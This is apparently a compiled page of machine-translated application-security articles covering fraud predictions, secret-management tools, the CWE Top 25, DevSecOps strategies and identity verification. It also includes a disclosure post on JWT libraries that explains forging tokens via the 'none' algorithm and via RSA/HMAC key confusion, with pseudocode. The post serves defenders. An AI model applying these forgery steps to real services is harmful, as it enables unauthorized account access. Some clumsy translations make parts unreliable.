Safruti 预测 2022 年,定制的恶意软件、机器人攻击和登录后欺诈激增,导致领导者最终面对在线欺诈的现实:它变化很大,目标变得越来越有选择性,从登录前到输入用户名和密码后。 “因此,我们相信 2022 年将是全面账户保护之年,”Safruti 说。
通过“全面的帐户保护”,Safruti 意味着超越老式边界或城堡和护城河身份验证的安全性。 “这意味着从用户帐户完整性的角度来处理安全性,并在整个应用程序旅程和帐户生命周期中提供多层保护,”Safruti 说。想想零信任和其他形式的身份验证,它们跟踪行为并记录操作以查找可疑行为。
Safruti 和 PerimeterX 对 2022 年的 Web 应用程序安全性做出了以下五项预测,整个情况看起来像是一场解决方案有限的安全风暴即将来临。
如果你对这些预测是否可靠感到好奇,Safruti 会指着他去年预测的成绩单。五个中的三个,即网络犯罪社区将变得更强大、GraphQL 将成为安全风险以及闪购将由机器人主导,被评为正确。 DevSecOps 成为主流被认为是“难以判断”,并且认为在线购买店内取货将是一种大型新型欺诈行为的想法被贴上了错误的标签。
预计供应链攻击防范将变得更加重要
SolarWinds 攻击背后的组织 Nobelium 已经重新浮出水面,使用类似的方法攻击其他目标,这些目标本身就是利用第三方软件的弱点进行的供应链攻击。结合日益严格的数据保护法规,Safruti 预测,在这一年,企业开始将下游供应商的弱点视为严重的责任问题,而不仅仅是开展业务的成本。
“92% 的网站决策者对其软件供应链缺乏完整的可见性。获得这种可见性将是旨在防止重大数据泄露并避免在 2022 年及以后发生大规模监管罚款的公司的首要任务,”Safruti 说。
自定义恶意软件将攻击 100 个最大市场中的 50% 以上
众所周知,可以在互联网上找到恶意软件进行销售,并且可以对其开发人员进行定制、销售和支持,并且随着时间的推移,所述恶意软件的开发人员只能进行更多定制调整,以使他们的恶意软件更有效的。
Safruti 说,商品化的攻击工具很便宜,并且可以在线获取免费视频,帮助新兴的网络犯罪分子学习使用他们的工具。 “我们正在目睹‘犯罪即服务’(CaaS) 生态系统的兴起,这推动了针对特定应用程序或网站的定制恶意软件的兴起。由于进入门槛低且产生结果的潜力很大,定制恶意软件将成为2022 年更流行的攻击媒介,”Safruti 说。
登录后环境将开始受到安全关注
我们生活在两个安全世界中:旧的依赖登录来验证身份,而新的则用户名和密码远不够安全,无法依靠它来验证一个人是谁。说他们是。即使是多因素身份验证也只会增加外围安全性,使其有益但不是永久的解决方案。
“到 2022 年,我们预计在线企业将采用解决此问题的解决方案。了解用户是否确实是他们所说的人——以及他们的登录后活动是否合法——将是维护账户完整性的关键,”Safruti 说.
欺诈将导致一家大公司今年贬值
“在过去,许多公司将欺诈视为开展业务的成本,”Safruti 说。现在情况已不再如此,因为他预测针对在线业务的整体欺诈行为将增加到对公司产生重大影响的程度。
“最近的研究表明,不良机器人对在线零售商的运营成本产生了 75% 到 80% 的负面影响,这相当于净收入的 18% 到 23%。当欺诈转化为对每股收益(EPS)的几美分的影响时),它将成为企业变得更加积极主动的警钟,”Safruti 说。
至少有一家大型零售商会放弃密码
暗网上有很多可供出售的凭证。例如,Safruti 指出 2021 年 6 月发布的 1.2TB 数据库包含来自超过 320 万台 Windows 计算机的信息,其中包括超过 4 亿个有效的 Web 登录 cookie。
“由于被盗凭据如此广泛,获取用户名和密码不再是对网络犯罪的威慑——因此企业需要重新考虑他们的欺诈预防策略,”Safruti 说。他预测,2022 年将是一个或多个面向消费者的大型企业“通过采用不仅仅依赖凭证的更强大的解决方案,完全消除对凭证的需求”的一年。
原文:https://www.techrepublic.com/article/5-predictions-to-help-you-focus-yo…
- 13 次浏览
【应用安全】8个最佳机密管理软件,提高应用程序安全性
确保对您的业务重要的东西。
当库伊特在那里工作的时候,想很多关于云的秘密。除了选择和执行各种工具外,您还必须采用和关联身份和访问管理方面的最佳实践。
无论您是开发人员还是系统管理员专业人员,您都需要明确指出,您有正确的选择工具来确保您的环境安全。应用程序需要访问适当的配置数据才能正确运行。虽然大多数配置数据是非敏感的,但有些数据需要保密。这些线被称为秘密。
好吧,如果您正在构建一个可靠的应用程序,那么您的函数很可能需要访问您保存的机密或任何其他类型的敏感信息。这些秘密包括:
- API密钥
- 数据库凭据
- 加密密钥
- 敏感配置设置(电子邮件地址、用户名、调试标志等)
- 密码
然而,安全地处理这些秘密可能会在以后被证明是一项艰巨的任务。因此,以下是对开发人员和系统管理员的一些提示:
修补功能依赖项
始终记住跟踪函数中使用的库,并通过持续监视来标记漏洞。
使用API网关作为安全缓冲区
不要将函数精确地暴露给用户交互。利用云提供商的API网关功能,在您的功能之上包含另一层安全性。
保护和验证传输中的数据
请确保利用HTTPS作为安全通信通道,并验证SSL证书以保护远程身份。
遵循应用程序代码的安全编码规则
由于没有服务器可攻击,攻击者会将注意力转向应用程序层,因此请格外小心保护您的代码。
在安全存储中管理机密
敏感信息很容易被泄露,如果您忽视采用适当的秘密管理解决方案,过期的凭证很容易受到彩虹表攻击。记住不要在应用程序系统、环境变量或源代码管理系统中存储机密。
由于缺乏知识和资源等原因,合作世界的关键管理非常痛苦。相反,一些公司将加密密钥和其他软件机密直接嵌入到使用它们的应用程序的源代码中,从而带来了泄露机密的风险。
由于缺乏太多现成的解决方案,许多公司都在寻求建立自己的机密管理工具。这里有一些,你可以利用你的需求。
Vault
HashiCorp Vault是一个安全存储和访问机密的工具。
它提供了一个统一的秘密接口,同时保持严格的访问控制和记录全面的审计日志。它是一种保护用户应用程序和基础的工具,在出现漏洞时限制表面空间和攻击时间。它提供了一个API,允许基于策略访问机密。API的任何用户都需要验证并且只查看他有权查看的机密。
使用256位AES加密保险库数据。
它可以在各种后端(如Amazon DynamoDB、Consult等)中积累数据。对于audit services,Vault支持记录到本地文件、Syslog服务器或直接记录到套接字。Vault将记录有关执行操作的客户端、客户端IP地址、操作以及执行操作的时间的信息
启动/重新启动总是需要一个或多个操作员打开保险库。它主要使用代币。每个令牌被赋予一个策略,该策略可以约束操作和路径。保险库的主要功能包括:
- 它在不存储数据的情况下对数据进行加密和解密。
- Vault可以根据需要为某些操作生成机密,例如AWS或SQL数据库。
- 允许跨多个数据中心进行复制。
- 保险库具有内置的秘密撤销保护。
- 用作具有访问控制详细信息的机密存储库。
AWS机密管理者
你期望AWS出现在这个列表上。你不是吗?
AWS有解决所有问题的方法。
AWS Secrets Manager使您能够快速旋转、管理和检索数据库凭据、API密钥和其他密码。使用Secrets Manager,您可以保护、分析和管理访问AWS云、第三方服务和本地功能所需的机密。
机密管理器使您能够使用细粒度权限管理对机密的访问。AWS Secrets Manager的主要功能包括:
- 使用加密密钥加密静态机密。
- 然后通过TLS安全地传输秘密
- 提供有助于调用Secrets Manager API的代码示例
- 它有客户端缓存库来提高可用性并减少使用机密的延迟。
- 配置Amazon VPC(虚拟私有云)端点,以保持AWS网络内的流量。
Keywhiz
Square Keywhiz帮助处理基础设施机密、GPG密钥环、数据库凭据,包括TLS证书和密钥、对称密钥、API令牌和外部服务的SSH密钥。Keywhiz是一个处理和分享秘密的工具。
Keywhiz的自动化使我们能够无缝地分发和设置服务的基本机密,这需要一个一致和安全的环境。Keywhiz的主要特点是:
- Keywhiz服务器提供用于收集和管理机密的JSON api。
- 它只将所有秘密存储在内存中,从不重现到磁盘上
- 用户界面是用AngularJS制作的,因此用户可以验证和使用UI。
Confidant
confident是一个开源的秘密管理工具,它可以安全地维护用户友好的存储和对机密的访问。confidentint在DynamoDB中以追加的方式存储秘密,并使用Fernet对称认证密码学为每一次修改生成一个唯一的KMS数据密钥。
它提供了一个AngularJS web界面,为最终用户提供了高效管理机密、服务机密形式和更改记录的功能。其中一些功能包括:
- KMS身份验证
- 静态加密版本化机密
- 用于管理机密的用户友好的web界面
- 生成可应用于服务到服务身份验证或在服务之间传递加密消息的令牌。
Strongbox
Strongbox是一个方便的工具,用于处理、存储和检索访问令牌、私有证书和加密密钥等机密。Strongbox是一个客户端便利层。它为您维护AWS资源,并安全地配置它们。
通过深度搜索,您可以快速有效地检查您的整套密码和机密。您可以选择在本地或云上存储凭据。如果选择云,则可以选择存储在iCloud、Dropbox、OneDrive、Google Drive、WebDAV等。
Strongbox与其他密码安全兼容。
Azure密钥库
在Azure上托管应用程序?如果是,那么这将是一个不错的选择。
Azure密钥保险库允许用户在特定位置管理其云应用程序的所有机密(密钥、证书、连接字符串、密码等)。它与Azure中秘密的来源和目标集成在一起。它可以被Azure之外的应用程序进一步利用。
您还可以通过将加密密钥存储在云中(而不是内部部署)来减少云应用程序的延迟,从而提高性能。
Azure可以帮助实现数据保护和法规遵从性要求。
Docker secrets
Docker secrets允许您轻松地将机密添加到集群中,并且它只在相互验证的TLS连接上共享。然后数据到达Docker secrets中的manager节点,并自动保存到内部Raft store中,保证数据加密。
Docker secrets可以很容易地应用于管理数据,从而将数据传输到有权访问数据的容器。它可以防止机密在应用程序用完时泄露。
Knox
由社交媒体平台Pinterest开发的Knox解决了他们手工管理密钥和保持审计跟踪的问题。Knox是用Go编写的,客户机使用restapi与Knox服务器通信。
Knox使用易失性临时数据库来存储密钥。它使用带有主加密密钥的AES-GCM对存储在数据库中的数据进行加密。Knox也可以作为Docker映像提供。
结论
我希望上面的内容能让您了解一些管理应用程序凭据的最佳软件。
原文:https://geekflare.com/secret-management-software/
本文:http://jiagoushi.pro/node/1085
讨论:请加入知识星球【首席架构师圈】或者小号【jiagoushi_pro】
- 71 次浏览
【应用安全】CWE/SANS前25个最危险的软件错误
点击任何列表中的CWE ID,您将被引导到MITRE CWE站点中的相关站点,在那里您可以找到以下内容:
- 前25名的排名,
- 链接到完整的CWE条目数据,
- 弱点流行率和后果的数据字段,
- 补救成本,
- 容易被发现,
- 代码示例,
- 检测方法,
- 攻击频率和攻击者意识
- 相关CWE条目,以及
- 针对这一弱点的相关攻击模式。
前25个软件错误站点的每个条目还包括相当广泛的预防和补救步骤,开发人员可以采取这些步骤来减轻或消除弱点。
档案文件
CWE前25名
Rank | ID | Name |
---|---|---|
[1] | CWE-119 | Improper Restriction of Operations within the Bounds of a Memory Buffer |
[2] | CWE-79 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') |
[3] | CWE-20 | Improper Input Validation |
[4] | CWE-200 | Information Exposure |
[5] | CWE-125 | Out-of-bounds Read |
[6] | CWE-89 | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') |
[7] | CWE-416 | Use After Free |
[8] | CWE-190 | Integer Overflow or Wraparound |
[9] | CWE-352 | Cross-Site Request Forgery (CSRF) |
[10] | CWE-22 | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') |
[11] | CWE-78 | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
[12] | CWE-787 | Out-of-bounds Write |
[13] | CWE-287 | Improper Authentication |
[14] | CWE-476 | NULL Pointer Dereference |
[15] | CWE-732 | Incorrect Permission Assignment for Critical Resource |
[16] | CWE-434 | Unrestricted Upload of File with Dangerous Type |
[17] | CWE-611 | Improper Restriction of XML External Entity Reference |
[18] | CWE-94 | Improper Control of Generation of Code ('Code Injection') |
[19] | CWE-798 | Use of Hard-coded Credentials |
[20] | CWE-400 | Uncontrolled Resource Consumption |
[21] | CWE-772 | Missing Release of Resource after Effective Lifetime |
[22] | CWE-426 | Untrusted Search Path |
[23] | CWE-502 | Deserialization of Untrusted Data |
[24] | CWE-269 | Improper Privilege Management |
[25] | CWE-295 | Improper Certificate Validation |
Rank | ID | Name |
---|---|---|
[1] | CWE-119 | 内存缓冲区范围内的操作限制不正确 |
[2] | CWE-79 | 网页生成过程中输入的中和不正确(“跨站点脚本”) |
[3] | CWE-20 | 输入验证不正确 |
[4] | CWE-200 | 信息披露 |
[5] | CWE-125 | 越界读取 |
[6] | CWE-89 |
SQL命令中使用的特殊元素的不正确中和(“SQL注入”) |
[7] | CWE-416 | 释放后使用 |
[8] | CWE-190 | 整数溢出或环绕 |
[9] | CWE-352 | 跨站点请求伪造(CSRF) |
[10] | CWE-22 | 路径名对受限制目录的限制不正确(“路径遍历”) |
[11] | CWE-78 | 操作系统命令中使用的特殊元素的不正确中和(“操作系统命令注入”) |
[12] | CWE-787 | 越界写入 |
[13] | CWE-287 | 身份验证不正确 |
[14] | CWE-476 | 空指针取消引用 |
[15] | CWE-732 | 关键资源的权限分配不正确 |
[16] | CWE-434 | 不受限制地上载危险类型的文件 |
[17] | CWE-611 | XML外部实体引用的限制不正确 |
[18] | CWE-94 | 代码生成控制不当(“代码注入”) |
[19] | CWE-798 | 硬编码凭证的使用 |
[20] | CWE-400 | 不受控制的资源消耗 |
[21] | CWE-772 | 有效生存期后缺少资源释放 |
[22] | CWE-426 | 不受信任的搜索路径 |
[23] | CWE-502 | 不可信数据的反序列化 |
[24] | CWE-269 | 权限管理不当 |
[25] | CWE-295 | 证书验证不正确 |
帮助消除前25个软件错误的资源
SAN应用程序安全课程
SANS应用程序安全课程旨在通过提供世界级的教育资源来设计、开发、采购、部署和管理安全软件,将安全性深入人心。应用程序安全系是具有数十年应用程序安全经验的实战人员。我们课程中涵盖的概念将适用于您返回工作岗位当天的软件安全计划:
- DEV522:保护Web应用程序安全要素
- DEV534:安全DevOps:实用介绍
- DEV540:安全的DevOps和云应用程序安全
- DEV522: Defending Web Applications Security Essentials
- DEV534: Secure DevOps: A Practical Introduction
- DEV540: Secure DevOps & Cloud Application Security
SANS维护一个应用程序安全网络人才评估,该评估衡量安全编码技能,允许程序员确定其安全编码知识的差距,并允许买家确保外包程序员有足够的编程技能。组织可以在https://www.sans.org/cybertalent/assessment-detail?msc=top25hp#appsec。
开发人员安全意识培训
SANS安全意识开发人员产品根据需要提供精确的软件安全意识培训,所有这些都是在您的办公桌上进行的。应用安全意识培训包括30多个模块,平均7-10分钟,最大限度地提高学习者的参与度和保持力。这些模块涵盖了PCI第6.5节法规遵从性主题的全部广度和深度,以及对安全软件开发非常重要的项目。
前25个错误列表将定期更新,并发布在SANS和MITRE站点
CWE Top 25 Software Errors Site
MITRE在美国国土安全部国家网络安全部门的支持下维护CWE(Common Weakness Enumeration)网站,详细描述前25个软件错误,并提供减轻和避免这些错误的权威指导。该站点还包含700多个额外软件错误、设计错误和架构错误的数据,这些错误可能导致可利用的漏洞。CWE网站
SAFECode—
软件保证卓越代码论坛(成员包括EMC、Juniper、Microsoft、Nokia、SAP和Symantec)已出版了两本优秀的出版物,概述了软件保证的行业最佳做法,并为实施安全软件开发的经验证方法提供了实用建议。
安全软件开发基本实践第3版
- https://safecode.org/publications/#安全代码出版物-2362个
- 软件完整性控制概述
- https://safecode.org/publications/#安全代码出版物-189个
- 软件供应链完整性框架
- https://safecode.org/publications/#安全代码出版物-188
- 安全软件开发的基本实践
- https://safecode.org/publications/#安全代码出版物-186个
- 软件保证:当前行业最佳实践概述
- https://safecode.org/publications/#安全代码出版物-185个
软件保障社区资源网站和DHS网站
作为DHS风险缓解工作的一部分,为了提高网络资产的弹性,软件保证计划旨在减少软件漏洞,最大限度地减少利用,并解决如何以可预测的执行方式定期获取、开发和部署可靠和可信赖的软件产品,以及提高诊断能力分析系统是否存在可利用的弱点。
近十几家软件公司提供自动化工具来测试这些错误的程序。
原文:https://www.sans.org/top25-software-errors/
本文:http://jiagoushi.pro/node/1078
讨论:请加入知识星球【首席架构师圈】或者小号【jiagoushi_pro】
- 61 次浏览
【应用安全】DevOps,API,容器和微服务的安全策略
越来越多的IT专业人士看到DevSecOps是一种在开发过程早期集成安全措施以提高生产代码质量的实践,是未来应用程序开发的主要支柱。
其中很大一部分源于通过采用DevOps,容器和微服务的架构以及支持自动化工具链和框架来加速应用程序开发的趋势。这一趋势为网络犯罪分子提供了机会,他们越来越关注这些类型环境中的安全漏洞和漏洞。鉴于当今的开发速度和体积以及更大的环境复杂性,将DevSecOps作为优先事项从未如此重要。
无论您的角色是CISO,开发人员,安全架构师,运营工程师还是DevOps团队的其他成员,了解如何在这些新环境中采取主动和预防性的应用程序安全性方法非常重要。特别是,这意味着关注:
- 使用API保护环境
- 实施持续安全
- 采用不断发展的安全实践
- 保护敏感数据
- 维护应用程序漏洞的当前最佳实践
继续阅读以了解有关这五种安全策略的更多信息。
#1:了解如何使用API将应用程序安全性部署到环境中
Web应用程序防火墙(WAF)解决方案对于现代应用程序环境变得更加重要,因为它们添加了专门的安全功能,补充了API网关等组件,这些组件本身只执行此过滤的基本功能。为了确保API安全性,需要使用WAF解决方案来检查传入和传出的HTTP / HTTPS,就像使用任何其他Web应用程序一样,并提供诸如性能分析,阻止攻击,僵尸程序和DDoS保护,防止帐户接管等功能。在此处详细了解Imperva可以为API安全做些什么。
您的WAF还应该帮助保护新应用程序环境中的应用程序和数据,并在配置新服务或容器时随时自动部署。
#2:实施持续安全性
安全团队面临的挑战是开发安全软件,同时建立适当的安全实践,这些实践不会在开发过程中产生瓶颈并可能影响上市时间。这需要旨在轻松无缝集成到DevSecOps工作流程中的解决方案。
连续,自动化的安全性
DevOps通常使用称为持续实施 - 持续部署(CI-CD)的实践(图1),它将开发和启动过程紧密结合在一起,以推出功能和应用程序。从安全角度来看,这意味着管理WAF解决方案的操作方面应该是自动化和模板化的,这样可以轻松扩展您的安全性。因此,无论您是启动新服务器,部署新应用程序,还是将现有服务从一台服务器移动到另一台服务器,都会自动部署链接到该服务的安全策略和配置层。
安全解决方案的可编程性有助于自动扩展,并支持在部署新应用程序和微服务时快速部署安全资源。在集成安全解决方案时,利用AWS Cloud Formation或Microsoft Azure Resource Manager(ARM)等云特定模板可以是在云环境中实现此类自动扩展的一种方法。
图1:持续集成 - 持续开发(CI-CD)的过程是DevOps中常用于构建和部署应用程序的互锁工作流程
#3:坚持继续发展的安全解决方案
除非您使用的安全解决方案也在不断发展以跟上新的应用程序环境和工具,否则很难实现以前的策略并继续发展您的安全立场。
例如,现代应用程序方法和基础架构(包括DevOps,API,微服务,公共云,容器等)需要安全解决方案,旨在提供:
- 高可用性:您的所有解决方案都应通过允许您的组织保护敏感Web应用程序而不会引入过多的IT开销或阻止合法的Web流量来确保稳定的业务连续性。
- 集成:选择支持DevOps中使用的适当的自动化工具链和其他编排技术的安全解决方案,以便在部署新的应用程序,实例和容器时,安全功能可以随时随地自动实现。这通常需要通过支持DevOps工作流,云部署和编排的API来暴露功能。
- 功能/功能奇偶校验:您的解决方案应该与应用程序是否跨公共云和私有云,容器或内部部署无关。这使您可以在不影响安全性的情况下将传统开发过渡到敏捷DevOps。
- 集中管理:从单一管理控制台管理内部部署和云网关,以整合和简化混合云部署的安全性。
#4:保护您的数据
虽然DevSecOps的大部分重点都放在应用程序和基础架构上,但不要忽视数据。随着应用程序和基础架构变得更加分散,数据安全性变得更加重要,其复杂的相互依赖性可能跨越服务,API,容器和云。
在这个日益复杂的应用程序生态系统中保护数据的一种方法是使用以数据为中心的审计和保护(DCAP)解决方案。 DCAP解决方案通过实时监控,审计以及安全和权限管理,帮助您保护数据库,文件存储和大数据存储库中的数据。
使用DCAP解决方案,您可以:
- 实时分析所有数据库活动。您可以监控访问数据库的所有用户,无论是通过浏览器,移动应用程序还是桌面应用程序。
- 采取措施避免危害和数据丢失,例如根据安全策略阻止对敏感数据的访问。
#5:继续做你正在做的事
虽然应用程序开发和体系结构实践正在发生变化,但相同的Web安全漏洞仍然会威胁到DevOps环境,因此金标准安全最佳实践仍然具有相关性。如果暴露API,您的攻击面可能会更大,因为代码可能更频繁地部署 - 包括您堆栈中可能存在的第三方软件和服务,这会增加您引入漏洞的风险和速度。
出于所有这些原因,您的组织应继续关注:
- 通过强化基础架构和服务来减少攻击面
- 通过加密静态通信和数据来确保机密性
- 实施细粒度访问控制
- 过滤恶意软件并阻止已知的错误流量
- 监控和检测异常行为以防止所有类型的攻击,包括:分布式拒绝服务(DDoS),滥用功能,访问冲突,利用等等
- 使用日志记录和分析审核访问和事件
将安全性集成到您的工作流程中
今天的应用程序,服务和API是寻求访问您的环境的网络犯罪分子的有吸引力的目标。管理和保护新的应用程序生态系统需要应用与过去相同的安全最佳实践,还需要使用为处理当今环境而构建的解决方案。
要了解有关Imperva解决方案如何集成到您的DevSecOps工作流程的更多信息,请下载我们的电子书:“DevOps,API和微服务的五种安全策略”。
原文:https://www.imperva.com/blog/security-strategies-for-devops-apis-containers-and-microservices/
本文:http://pub.intelligentx.net/security-strategies-devops-apis-containers-and-microservices
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 62 次浏览
【应用安全】IAM之身份验证
在注册期间及以后验证您的客户身份。
什么是身份验证?
身份验证,有时也称为身份证明,是验证最终用户身份的过程,以确保他们的数字身份与其真实身份相关联。 这让您更加确信您的用户从一开始就是他们声称的正确人选。
身份验证如何使我的业务受益?
平衡便利性和安全性
与替代方法和传统方法相比,通过让用户在不影响安全性的情况下简单地验证其身份来减少挫败感。
防止欺诈活动
在降低帐户创建和接管风险以及降低下游交易各方风险的同时加强安全性。
满足监管要求
保持对了解您的客户 (KYC) 和其他法规的遵守,同时支持数字化转型计划。
身份验证提供哪些功能?
身份验证解决方案能够:
- 简化的自助服务帐户创建和重置
- 使用经过验证的属性自动填写表格
- 将身份验证嵌入到新的或现有的应用程序和工作流程中
- 将客户身份与设备或凭证相关联
身份验证的工作原理
面部活泼
系统会提示用户提供使用 ISO 认证技术被动检查活跃度的自拍照。
文件认证
用户使用移动设备的摄像头扫描政府身份证的正面和背面,并使用超过 150 次加权分析和机器学习来检查身份证的真实性。
身份验证
现场自拍与用户在政府身份证上的照片进行比较,结果与用户的身份记录相关联。
以数据为中心与以文档为中心的身份验证
以数据为中心的身份验证依赖于向用户询问可与可靠来源进行比较的信息。 不幸的是,不良行为者和软件机器人可以轻松获取这些数据——包括构建通过许多遗留或替代检查的合成身份。
以文件为中心的身份验证让您对机器学习和自拍匹配与 ISO 认证的 liveness 技术更有信心,以验证政府 ID 并验证您的用户身份。
从一开始就了解您的客户
- 通过降低欺诈和帐户接管的风险,自信地与您的客户在线互动。身份验证为您的企业提供了适当的保证,即与您互动的客户是他们在注册或开户时所说的真实身份。
- 在与用户互动时优化体验和安全性
- 通过快速集成到应用程序中来缩短上市时间
- 保持敏捷性,为您的业务实现持续的数字化创新
与您的用户建立信任
- 从一开始就集成身份验证,与您的用户建立信任。通过让您更有信心将人连接到他们的设备和凭据,这增强了对每次交互的信任。 身份验证解决方案可让您在用户旅程中无缝集成确认身份,而无需复制或存储 PII。
- 简化为您的用户体验添加身份验证
- 通过将身份验证无缝集成到您的用户体验中来消除摩擦。身份验证功能可以通过 REST API 轻松添加以提高灵活性或使用原生 SDK 让用户在您的移动应用程序中确认身份。
- 此外,编排功能可帮助您构建、测试和优化将身份验证与在线欺诈检测和身份验证服务相结合的用户旅程,以增强体验和安全性。
原文:https://www.pingidentity.com/en/platform/capabilities/identity-verifica…
本文:
- 23 次浏览
【应用安全】JSON Web令牌库中的严重漏洞
哪些库容易受到攻击以及如何防止它们。
TL; DR:如果您使用带有非对称密钥的node-jsonwebtoken, pyjwt, namshi/jose, php-jwt or jsjwt(RS256,RS384,RS512,ES256,ES384,ES512),请更新到最新版本。有关易受攻击库的更多信息,请参阅jwt.io。 (2015-04-20更新)
这是来自Tim McLean的客座文章,他是Auth0安全研究员名人堂成员。蒂姆通常在www.timmclean.net上发表博客。
最近,在审查各种JSON Web令牌实现的安全性时,我发现许多具有关键漏洞的库允许攻击者绕过验证步骤。在许多实现和语言中都发现了同样的两个缺陷,所以我认为准确地写出问题的位置会很有帮助。我认为对标准的更改有助于防止未来的漏洞。
“我发现许多具有严重漏洞的库允许攻击者绕过验证步骤。”
对于那些不熟悉的人来说, JSON Web Token (JWT) 是一种创建令牌的标准,可以断言一些声明。例如,服务器可以生成具有声明“以管理员身份登录”并将其提供给客户端的令牌。然后,客户端可以使用该令牌来证明他们以管理员身份登录。令牌由服务器密钥签名,因此服务器能够验证令牌是否合法。
JWT通常有三个部分:标题,有效负载和签名。
标头标识用于生成签名的算法,看起来像这样:
header = '{"alg":"HS256","typ":"JWT"}'
HS256表示此令牌使用HMAC-SHA256签名。
有效负载包含我们希望提出的声明:
payload = '{"loggedInAs":"admin","iat":1422779638}'
正如JWT规范中所建议的那样,我们包含一个名为iat的时间戳,即“发布时”的缩写。
签名由base64url编码头和有效负载计算,并以句点作为分隔符连接:
key = 'secretkey'
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload) signature = HMAC-SHA256(key, unsignedToken)
总而言之,我们base64url编码签名,并使用句点将这三个部分连接在一起:
token = encodeBase64(header) + '.' + encodeBase64(payload) + '.' + encodeBase64(signature)
# token is now: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbkFzIjoiYW
RtaW4iLCJpYXQiOjE0MjI3Nzk2Mzh9.gzSraSYS8EXBxLN_oWnFSRg
CzcmJmMjLiuyu5CSpyHI
很棒。那么,那有什么不对?
好吧,让我们尝试验证令牌。
首先,我们需要确定用于生成签名的算法。没问题,标题中有一个alg字段告诉我们。
但是等等,我们还没有验证这个令牌,这意味着我们还没有验证头。这使我们处于一个尴尬的境地:为了验证令牌,我们必须允许攻击者选择我们用来验证签名的方法。
这对某些实现具有灾难性的影响。
迎接“None”算法
无算法是JWT的一个奇怪的补充。它旨在用于已经验证令牌完整性的情况。有趣的是,它是必须实施的两种算法之一(另一种是HS256)。
不幸的是,一些库处理了使用无算法签名的令牌作为带有经过验证的签名的有效令牌。结果?任何人都可以使用他们想要的任何有效负载创建自己的“签名”令牌,允许在某些系统上进行任意帐户访问。
将这样的标记放在一起很容易。修改上面的示例标题以包含 "alg": "none" 而不是HS256。对有效负载进行任何所需的更改。使用空签名(signature = "")。
大多数(希望所有?)实现现在都有一个基本检查来防止这种攻击:如果提供了密钥,那么使用none算法的令牌验证将失败。这是一个好主意,但它并没有解决潜在的问题:攻击者控制算法的选择。让我们继续挖掘。
RSA还是HMAC?
JWT规范还定义了许多非对称签名算法(基于RSA和ECDSA)。使用这些算法,使用私钥创建和签名令牌,但使用相应的公钥进行验证。这非常简洁:如果您发布公钥但保留私钥,只有您可以签署令牌,但任何人都可以检查给定令牌是否正确签名。
我看过的大多数JWT库都有这样的API:
# sometimes called "decode"
verify(string token, string verificationKey)
# returns payload if valid token, else throws an error
在使用HMAC签名的系统中,verificationKey将是服务器的秘密签名密钥(因为HMAC使用相同的密钥进行签名和验证):
verify(clientToken, serverHMACSecretKey)
在使用非对称算法的系统中,verificationKey将是应该验证令牌的公钥:
verify(clientToken, serverRSAPublicKey)
不幸的是,攻击者可以滥用此功能。如果服务器期望使用RSA签名的令牌,但实际上接收到使用HMAC签名的令牌,则会认为公钥实际上是HMAC密钥。
这怎么是灾难? HMAC密钥应该保密,而公钥是公共密钥。这意味着您的典型 ski mask-wearing attacker 可以访问公钥,并可以使用此伪造服务器将接受的令牌。
这样做非常简单。首先,抓住您最喜欢的JWT库,并为您的令牌选择一个有效负载。然后,获取服务器上使用的公钥作为验证密钥(最有可能采用基于文本的PEM格式)。最后,使用PEM格式的公钥作为HMAC密钥签署您的令牌。实质上:
forgedToken = sign(tokenPayload, 'HS256', serverRSAPublicKey)
最棘手的部分是确保serverRSAPublicKey与服务器上使用的验证密钥相同。字符串必须完全匹配才能使攻击工作 - 完全相同的格式,并且没有额外或缺少的换行符。
最终结果?知道公钥的任何人都可以伪造将通过验证的令牌。
对库开发人员的建议
我建议JWT库在其验证函数中添加一个算法参数:
verify(string token, string algorithm, string verificationKey)
服务器应该已经知道它用于签署令牌的算法,并且允许攻击者提供此值是不安全的。
有些人可能会争辩说,出于兼容性原因,某些服务器需要支持多个算法。在这种情况下,可以(并且应该)为每个支持的算法使用单独的密钥。 JWT可以方便地为此提供“密钥ID”字段(孩子)。由于服务器可以使用密钥ID来查找密钥及其相应的算法,因此攻击者无法再控制密钥用于验证的方式。在任何情况下,我都不认为JWT库甚至不应该查看标题中的alg字段,除非可以检查它是否与预期的算法匹配。
任何使用JWT实现的人都应该确保拒绝具有不同签名类型的令牌。一些库有一个可选的白名单或黑名单算法机制;利用它,否则你可能会面临风险。更好的是:制定一项政策,对用于提供任务关键功能的任何开源库执行安全审核。
改进JWT / JWS标准
我想建议弃用标题的alg字段。正如我们在这里看到的,它的滥用会对JWT / JWS实施的安全性产生破坏性影响。据我所知,密钥ID提供了一个充分的选择。这保证了对规范的改变:JWT库由于依赖于alg而继续编写有安全漏洞。
JWT(和JOSE)提供了一个拥有跨平台安全加密套件的机会
旁白:将JWT实施委托给专家
JWT是OpenID Connect标准不可或缺的一部分,OpenID Connect标准是位于OAuth2框架之上的标识层。 Auth0是OpenID Connect认证的身份平台。这意味着如果您选择Auth0,您可以确定它与遵循规范的任何第三方系统100%可互操作。
OpenID Connect规范要求使用JWT格式的ID令牌,其中包含以声明形式表示的用户配置文件信息(例如用户名和电子邮件)。这些声明是关于用户的声明,如果令牌的使用者可以验证其签名,则可以信任该声明。
虽然OAuth2规范没有规定访问令牌的格式,用于授权应用程序代表用户访问API,但业界也广泛接受JWT的使用。
作为开发人员,您不必担心直接验证,验证或解码服务中与身份验证相关的JWT。您可以使用Auth0的现代SDK来处理JWT的正确实施和使用,因为他们知道JWT遵循最新的行业最佳实践并定期更新以解决已知的安全风险。
例如,用于 Auth0 SDK for Single Page Applications提供了一种从ID令牌auth0.getUser中提取用户信息的方法。
如果您想试用Auth0平台,请注册免费帐户并开始使用!使用您的免费帐户,您将可以使用以下功能:
- Universal Login for Web, iOS & Android
- Up to 2 social identity providers (like Twitter and Facebook)
- Unlimited Serverless Rules
要了解有关JWT的更多信息,它们的内部结构,可以与它们一起使用的不同类型的算法以及它们的其他常见用途,请查看JWT Handbook.。
原文:https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
本文: http://pub.intelligentx.net/node/507
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 85 次浏览
【应用安全】OAuth 2.0 and OpenID Connect 提供者 ORY Hydra 介绍
